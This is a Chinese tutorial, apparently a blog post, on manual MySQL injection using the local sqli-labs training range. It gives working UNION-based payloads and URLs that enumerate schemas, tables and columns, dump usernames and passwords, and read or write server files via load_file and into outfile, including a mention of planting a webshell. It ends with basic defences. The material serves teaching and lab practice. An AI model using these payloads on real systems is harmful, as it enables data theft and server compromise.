二、MySQL手工注入

1.SQL注入之sqli-labs环境搭建

往往很多新手在刚学习SQL注入的时候,都需要拥有一个能SQL注入的网站,需要有SQL注入点 的。直接去互联网上找的话对新手未免有点太难了,因此:我们一般都是在本地搭建一个能SQL注入测试的网站,那样我们学习SQL注入就容易多了。

Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。

Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs(在预习资料中有下载好的)

Sqli-labs环境安装

需要安装以下环境

apache+mysql+php
如果可以的话,推荐在windows和linux下分别安装

工具下载链接:

链接:https://pan.baidu.com/s/19om5w_QIK8uGWjhe2_SnXA
提取码:ianb

安装之前确保本地没有下载mysql服务器!

下载地址:https://www.xp.cn/

在发放的预习资料里面有下载好的工具:

解压之后如下图,运行phpstudy_x64.exe:

双击第一个运行程序后,出现安装界面,点击下方的“自定义安装”安装在除C盘外的盘符。之后点击立即安装即可。(一定要记住自己的安装目录 !!!!!!)

点击安装之后,会出现安装进度条。等待不到1分钟,就会出现安装完成界面。点击安装完成,进入首页。

安装完成启动对应服务:

需要注意的是:phpstudy自带的php版本过高,不兼容sqli-las靶场中php的版本,需要手动设置为低版本

点击 软件管理 --> php --> 选择php5.2.17 点击安装 即可

检查是否更换好:

点击 网站 --> 管理 --> php版本 -->

sqli-las下载解压完成后,把解压文件放入phpstudy安装路径下的www文件夹中

sqli-labs 正常访问需要连接数据库,设置连接数据库配置文件才能正常连接。

mysql配置文件在sqli-labs文件中sql-connections

进入sql-connections找到db-creds文件进行配置,phpstudy中默认账号和密码为 root

注意:要想phpstudy中自带mysql正常使用,需确保本地没有下载mysql服务器,如有需要卸载本地mysql服务,防止端口占用!

phpstudy连接mysql总是启动了又停止

第一种情况可能是端口占用问题,可以选择在phpstudy的MySQL中点击 ‘配置’ 里面更改端口,改成3307即可,不过一般这种情况较少

第二种情况就是曾经在电脑上安装过mysql,忘记了的可以在服务里面进行查看,比如:

如何查看 我的电脑–》右击–》管理–》服务和应用程序–》服务

这时候可以进入win + R输入cmd,最好以管理员的身份进入
之后输入 sc delete mysql,做完这一步在进入注册表,彻底删除之前的mysql

1、HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL 目录删除

2、 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL 目录删除

3、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL 目录删除

做完这几步后恭喜你,离成功很近了,再次进入phpstudy,在软件管理中删除之前的mysql服务,重新安装自己合适的选项,之后再去首页启动mysql服务就成功啦!

2.SQL注入之MYSQL手工注入

本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。

sqli-labs数字型注入

在url中输入id值,执行查询sql语句。即可得到对应数据

less-2源码分析:

浏览器 进行数据提交 服务器 :

get 提交  :  url   数据长度 速度快  用于: post 提交 : 服务器    安全性   数据量

注入流程

注入语句

尝试手工注入:SQL注入: 1.判断有无注入点   and 1 = 1; true 随便输入内容  ==  报错  注入==  没有注入2.猜解列名数量 order by %20 空格字段 4个3.报错,判断回显点 union 4.信息收集 数据库版本 version()高版本:5.0  系统库: infromation 。。。数据库名称:database()低版本:5.0 5.使用对应SQL进行注入  数据库库名:security. 下一级  infromation_schema.tables 查找表名table_name查询serurity库下面 所有的表名 database()= 前后 连到一起union select 1,group_concat(table_name),3 from information_schema.tableswhere table_schema=database()表: users如何查询表里面有那些字段? user 字符 转行 16进制union select 1,group_concat(column_name),3 from information_schema.columnswhere table_name=0x7573657273username  password  字段数据  select username,password from users0x3a  :union select 1,2,(select group_concat(username,0x3a,password)from users)

3.SQL注入之高权限注入

SQL注入之高权限注入(上)

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。

多个网站共享mysql服务器

MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,
我当前的版本mysql 5.7.22 。

select * from user where user='root' and host='localhost'\G;mysql权限表的验证过程为:先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。通过身份认证后,进行权限分配,按照user,db,tables_priv,columns_priv的顺序进行验证。即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。2.1 系统权限表User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 Procs_priv表:存放存储过程和函数级别的权限2. MySQL 权限级别分为: 全局性的管理权限: 作用于整个MySQL实例级别 数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上 数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象3.查看mysql 有哪些用户:mysql> select user,host from mysql.user;4.查看用户对应权限select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有5.创建 mysql 用户有两种方式创建MySQL授权用户执行create user/grant命令(推荐方式)CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';通过insert语句直接操作MySQL系统权限表6.只提供id查询权限grant select(id) on test.temp to test1@'localhost' identified by '123456';7.把普通用户变成管理员GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;8.删除用户drop user finley@'localhost';

SQL注入之高权限注入下

1.注入流程与上节实例相同

查询所有数据库名称

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询数据库对应的表名

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374

查询表名对应的字段名

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

4.SQL注入之文件读写

文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

linux
cat  etc/confwin
www/mysql / my.ini

show global variables like ‘%secure%’ 查看mysql全局变量的配置

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

2、知道网站绝对路径

Windows常见:

Linux常见:

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

读取文件

使用函数:load_file()

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…

写入文件

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

2.6 SQL注入之基础防御

魔术引号

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。
最好在编码时不要转义而在运行时根据需要而转义。

魔术引号:
在php.ini文件内找到

magic_quotes_gpc = On 开启将其改为magic_quotes_gpc = Off 关闭

内置函数

做数据类型的过滤

is_int()等

addslashes()

mysql_real_escape_string()

mysql_escape_string()

自定义关键字

str_replace()

其他安全防护软件 WAF …

SQL注入详解(第二章手工注入)相关推荐

  1. PD3.1详解 第二章(EPR)

    PD3.1详解 第二章(EPR) 第一章节简单的介绍了如何进入EPR模式,这里主要逐步说明具体的细节: 一. 如果需要进入EPR 那么所用的线必须要满要求,我们知道PD3.0中我们必须要有emark线 ...

  2. 孙鑫VC++深入详解第二章学习笔记

    第二章 掌握C++ 2.1 从结构到类 2.1.1 结构体的定义 C++相比于C的特性:封装性.继承性.多态性: 对象具有状态和行为,状态保存在成员变量中,行为通过函数实现: 标准输入输出流对象:ci ...

  3. TCP/IP详解--第二章

    第2章 链   路   层 2.1   引言 从图1-4中可以看出,在 TCP/IP协议族中,链路层主要有三个目的:(1)为IP模块发送和 接收 IP数据报:( 2)为 ARP模块发送 ARP请求和接 ...

  4. TCP/IP详解 第二章 Internet地址结构

    Internet地址结构 一.表示IP地址 二.基本的IP地址结构 分类寻址 子网寻址 子网掩码 可变长度子网掩码 广播地址 IPv6地址和接口标识符 三.CIDR和聚合 前缀 聚合 四.特殊用途地址 ...

  5. VC++深入详解--第二章 掌握C++

    1. C++ VS C 封装性:把数据和数据操作组织在一起,程序结构紧凑,提高了类内部的数据安全性:继承性:软件可扩充性和代码重用性:多态性:设计程序时可以更好的对问题进行抽象,有利于代码的维护和可重 ...

  6. VB6.0 ActiveX 控件开发详解 [第一章:创建工程]

    前言 在CSDN的VB论坛上,我总是能够看见有人这样问"有没有这样的控件,一个列表框,每一个项前面有一个按钮"(这是例子),又或者见到这样:"怎么样做一个ActiveX控 ...

  7. SQL注入详解及预防

    SQL注入详解及预防 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网 ...

  8. Spring基础专题——第二章(注入Injection)

    前言:去年到现在一直没有很好的时间完成这个spring基础+源码的博客目标,去年一年比较懒吧,所以今年我希望我的知识可以分享给正在奋斗中的互联网开发人员,以及未来想往架构师上走的道友们我们一起进步,从 ...

  9. mysql sleep详解_sql注入详解(二)

    sql注入详解 4.检测方法 首先是判断能不能进行sql注入 是哪种sql注入 (1)数字型 ?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败 这说明是数字型注入,或者叫整型注 ...

最新文章

  1. neo4j安装_基于Neo4j的知乎关系爬虫
  2. 4·24 dene2004's cnBlog 启 SP1
  3. 第5章 批量主机扫描 nmap、ncat
  4. 提高SQL执行效率的16种方法
  5. 用redis实现消息队列
  6. Nginx完美解决前后端分离端口号不同导致的跨域问题
  7. 如何看待绿色数据中心
  8. MySQL 创建数据表的命令行
  9. IT服务管理流程控制主要绩效指标有哪些?
  10. 期末排名算不算计算机成绩,智学网怎么看年级排名 智学网如何查看期末考试成绩...
  11. Xcode iphone模拟器运行不流畅
  12. 内核特征码搜索 获取未导出函数
  13. 华为云Hadoop与Spark集群环境搭建
  14. web前端:img标签alt属性什么情况留空?
  15. 生产管理系统是什么?它有哪些功能模块?
  16. obsidian和zotero联动无法跳转zotero
  17. 利用python进行数据分析数据_利用Python进行数据分析
  18. python爬虫进阶-滑块验证码破解(bilibili)
  19. Mp4 分割 怎么将mp4视频文件分割成几段
  20. Python 打包适用于win 7/xp系统的应用程序(exe)

热门文章

  1. 亚马逊服务器上传文件是什么类型,新手必看!亚马逊的三种产品上传方式对比...
  2. 《编写高质量代码 改善python程序的91个建议》读书笔记 之一
  3. Android Compose 权限请求
  4. HDU 6127 Hard challenge
  5. 罗纳尔多~~~~~~
  6. week 9 图论2
  7. MAC OS绕过开机密码
  8. Android 10.0关闭selinux权限
  9. 展厅中控视频播放器,播放系统,udp/tcp/串口/语音/键盘协议控制!
  10. OSChina 周一乱弹 —— 人生,一场漂泊